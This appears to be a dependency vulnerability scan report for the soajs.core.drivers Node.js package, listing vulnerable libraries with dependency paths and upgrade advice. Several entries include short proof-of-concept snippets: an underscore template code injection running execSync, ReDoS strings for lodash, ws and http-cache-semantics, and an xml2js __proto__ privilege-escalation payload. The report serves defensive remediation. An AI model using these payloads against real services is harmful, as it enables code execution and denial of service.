| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade minimist to version 0.2.1, 1.2.3 or higher.
References
medium severity
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to RSA's PKCS#1 v1.5 signature verification code which does not properly check DigestInfo for a proper ASN.1 structure. This can lead to successful verification with signatures that contain invalid structures but a valid digest.
Remediation
Upgrade node-forge to version 1.3.0 or higher.
References
medium severity
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to RSAs PKCS#1` v1.5 signature verification code which is lenient in checking the digest algorithm structure. This can allow a crafted structure that steals padding bytes and uses unchecked portion of the PKCS#1 encoded message to forge a signature when a low public exponent is being used.
Remediation
Upgrade node-forge to version 1.3.0 or higher.
References
medium severity
- Vulnerable module: underscore
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer-direct-transport@3.3.2 › smtp-connection@2.12.0 › httpntlm@1.6.1 › underscore@1.7.0
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer-smtp-transport@2.7.4 › smtp-connection@2.12.0 › httpntlm@1.6.1 › underscore@1.7.0
Overview
underscore is a JavaScript's functional programming helper library.
Affected versions of this package are vulnerable to Arbitrary Code Injection via the template function, particularly when the variable option is taken from _.templateSettings as it is not sanitized.
PoC
const _ = require('underscore');
_.templateSettings.variable = "a = this.process.mainModule.require('child_process').execSync('touch HELLO')";
const t = _.template("")();
Remediation
Upgrade underscore to version 1.13.0-2, 1.12.1 or higher.
References
medium severity
- Vulnerable module: got
- Introduced through: kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › got@8.3.2
Overview
Affected versions of this package are vulnerable to Open Redirect due to missing verification of requested URLs. It allowed a victim to be redirected to a UNIX socket.
Remediation
Upgrade got to version 11.8.5, 12.1.0 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data through the request configuration handling in the adapters/xhr.js adapter and helpers/resolveConfig.js. An attacker can force the withXSRFToken option to a truthy non-boolean value, or pollute Object.prototype.withXSRFToken, by supplying a crafted request config that causes the XSRF header to be sent on cross-origin requests. When withXSRFToken is treated as a generic truthy value, the same-origin check is bypassed, and the browser reads the XSRF cookie and attaches it to an attacker-controlled destination. This exposes the user's XSRF token to a cross-origin endpoint, potentially enabling request forgery against the victim's authenticated session.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
medium severity
- Vulnerable module: http-cache-semantics
- Introduced through: kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › got@8.3.2 › cacheable-request@2.1.4 › http-cache-semantics@3.8.1Remediation: Upgrade to kubernetes-client@8.3.7.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The issue can be exploited via malicious request header values sent to a server, when that server reads the cache policy from the request using this library.
PoC
Run the following script in Node.js after installing the http-cache-semantics NPM package:
const CachePolicy = require("http-cache-semantics");
for (let i = 0; i <= 5; i++) {
const attack = "a" + " ".repeat(i * 7000) +
"z";
const start = performance.now();
new CachePolicy({
headers: {},
}, {
headers: {
"cache-control": attack,
},
});
console.log(`${attack.length}: ${performance.now() - start}ms`);
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade http-cache-semantics to version 4.1.1 or higher.
References
medium severity
- Vulnerable module: lodash
- Introduced through: lodash@4.17.15
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › lodash@4.17.15Remediation: Upgrade to lodash@4.17.21.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.
POC
var lo = require('lodash');
function build_blank (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000)
var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0)
var time1 = Date.now();
lo.toNumber(s)
var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1)
var time2 = Date.now();
lo.trimEnd(s)
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2)
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade lodash to version 4.17.21 or higher.
References
medium severity
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Open Redirect via parseUrl function when it mishandles certain uses of backslash such as https:/\/\/\ and interprets the URI as a relative path.
PoC:
// poc.js
var forge = require("node-forge");
var url = forge.util.parseUrl("https:/\/\/\www.github.com/foo/bar");
console.log(url);
// Output of node poc.js:
{
full: 'https://',
scheme: 'https',
host: '',
port: 443,
path: '/www.github.com/foo/bar', <<<---- path should be "/foo/bar"
fullHost: ''
}
Remediation
Upgrade node-forge to version 1.0.0 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer@6.4.10Remediation: Upgrade to soajs.core.modules@5.2.20.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Missing Authorization in the jsonTransport message, which fails to enforce file and URL access restrictions during message normalization. An attacker can access local files or trigger outbound HTTP requests by supplying crafted message content fields such as attachment path or text.href.
Remediation
Upgrade nodemailer to version 8.0.9 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer@6.4.10Remediation: Upgrade to soajs.core.modules@5.2.11.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the attachDataUrls parameter or when parsing attachments with an embedded file. An attacker can exploit this vulnerability by sending a specially crafted email that triggers inefficient regular expression evaluation, leading to excessive consumption of CPU resources.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade nodemailer to version 6.9.9 or higher.
References
medium severity
- Vulnerable module: uri-js
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › request@2.88.0 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › @kubernetes/client-node@0.10.2 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › swagger-fluent@3.2.1 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
Overview
uri-js is a RFC 3986/3987 compliant, scheme extendable URI/IRI parsing/validating/resolving library for JavaScript.
Affected versions of this package are vulnerable to Uncaught Exception in the parse() function of src/schemes/mailto.ts, whose to branch calls hfield[1].split(",") directly, while the subject, body, and default branches all route through unescapeComponent(), which short-circuits on a missing value. An attacker can crash the process by supplying a mailto URI whose query carries a bare to token with no =value, such as mailto:?to, so splitting on = yields a one element array and the undefined second element is dereferenced. This requires the application to pass an attacker-influenced string to URI.parse(), URI.resolve(), URI.normalize(), or URI.equal(), none of which wrap the scheme handler in a try/catch, and whether the throw terminates the process or only fails the one request depends on the host's own error handling.
Remediation
There is no fixed version for uri-js.
References
medium severity
- Vulnerable module: ws
- Introduced through: ws@7.2.0
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ws@7.2.0Remediation: Upgrade to ws@7.4.6.
Overview
ws is a simple to use websocket client, server and console for node.js.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.
##PoC
for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
const value = 'b' + ' '.repeat(length) + 'x';
const start = process.hrtime.bigint();
value.trim().split(/ *, */);
const end = process.hrtime.bigint();
console.log('length = %d, time = %f ns', length, end - start);
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ws to version 7.4.6, 6.2.2, 5.2.3 or higher.
References
medium severity
- Vulnerable module: xml2js
- Introduced through: aws-sdk@2.178.0
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › aws-sdk@2.178.0 › xml2js@0.4.17Remediation: Upgrade to aws-sdk@2.1354.0.
Overview
Affected versions of this package are vulnerable to Prototype Pollution due to allowing an external attacker to edit or add new properties to an object. This is possible because the application does not properly validate incoming JSON keys, thus allowing the __proto__ property to be edited.
PoC
var parseString = require('xml2js').parseString;
let normal_user_request = "<role>admin</role>";
let malicious_user_request = "<__proto__><role>admin</role></__proto__>";
const update_user = (userProp) => {
// A user cannot alter his role. This way we prevent privilege escalations.
parseString(userProp, function (err, user) {
if(user.hasOwnProperty("role") && user?.role.toLowerCase() === "admin") {
console.log("Unauthorized Action");
} else {
console.log(user?.role[0]);
}
});
}
update_user(normal_user_request);
update_user(malicious_user_request);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
